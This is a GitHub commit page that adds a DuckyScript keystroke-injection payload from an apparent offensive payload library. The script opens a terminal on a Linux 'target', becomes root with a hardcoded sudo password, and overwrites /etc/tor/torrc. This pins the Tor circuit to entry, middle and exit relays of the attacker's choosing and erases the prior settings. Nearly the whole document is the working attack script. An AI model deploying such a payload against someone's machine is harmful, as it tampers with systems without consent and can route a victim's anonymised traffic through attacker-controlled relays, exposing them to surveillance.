-
Notifications
You must be signed in to change notification settings - Fork 258
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Set An Arbitrary And Persistent Tor Circuit
- Loading branch information
1 parent
78066ea
commit 6f3436f
Showing
1 changed file
with
54 additions
and
0 deletions.
There are no files selected for viewing
54 changes: 54 additions & 0 deletions
54
payloads/library/execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit-Linux/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
REM ################################################################ | ||
REM # | | ||
REM # Title : Set An Arbitrary And Persistent Tor Circuit | | ||
REM # Author : Aleff | | ||
REM # Version : 1.0 | | ||
REM # Category : Execution | | ||
REM # Target : Linux | | ||
REM # | | ||
REM ################################################################ | ||
|
||
REM Requirements: | ||
REM - Tor installed | ||
REM - Fingerprints of your relays | ||
|
||
REM Note: | ||
REM - Payload tested using TorBrowser 13.0.8 based on Mozilla Firefoz 115.6.0esr ENG | ||
REM - Payload tested on Windows 11_eng; Debian 12_eng; Ubuntu 23.10_eng; | ||
|
||
REM Set the Fingerprints here | ||
DEFINE #EntryNode example | ||
DEFINE #MiddleNode example | ||
DEFINE #ExitNode example | ||
|
||
REM_BLOCK | ||
Activation of administrator permissions may vary from system to system. | ||
For example, for Debian it is necessary to use 'su' while for other systems such as Ubuntu it is necessary to use 'sudo su'. | ||
In general this can vary and is information that could be crucial in case the target has tampered with this functionality. | ||
END_REM | ||
DEFINE #root_permission_command sudo su | ||
|
||
REM Edit this field only if you plan to use this script on Linux operating systems as you need administrator permissions and therefore you need to know the password. | ||
DEFINE #sudo_pass example | ||
|
||
REM Do not change the variables that begin with 'const', they are constants that allow the nodes to be configured correctly. | ||
DEFINE #const_entry_node EntryNodes | ||
DEFINE #const_middle_node MiddleNodes | ||
DEFINE #const_exit_node ExitNodes | ||
|
||
REM Opens a new terminal and login with administrator permissions. | ||
CTRL-ALT t | ||
STRINGLN #root_permission_command | ||
DELAY 500 | ||
STRING #sudo_pass | ||
DELAY 1000 | ||
REM Writes the new configuration into the torrc file deleting all the previous settings. | ||
STRINGLN | ||
echo "#const_entry_node #EntryNode | ||
#const_middle_node #MiddleNode | ||
#const_exit_node #ExitNode" > /etc/tor/torrc | ||
END_STRINGLN | ||
REM Then exit from the super user and close the terminal | ||
DELAY 500 | ||
STRINGLN exit | ||
ALT F4 |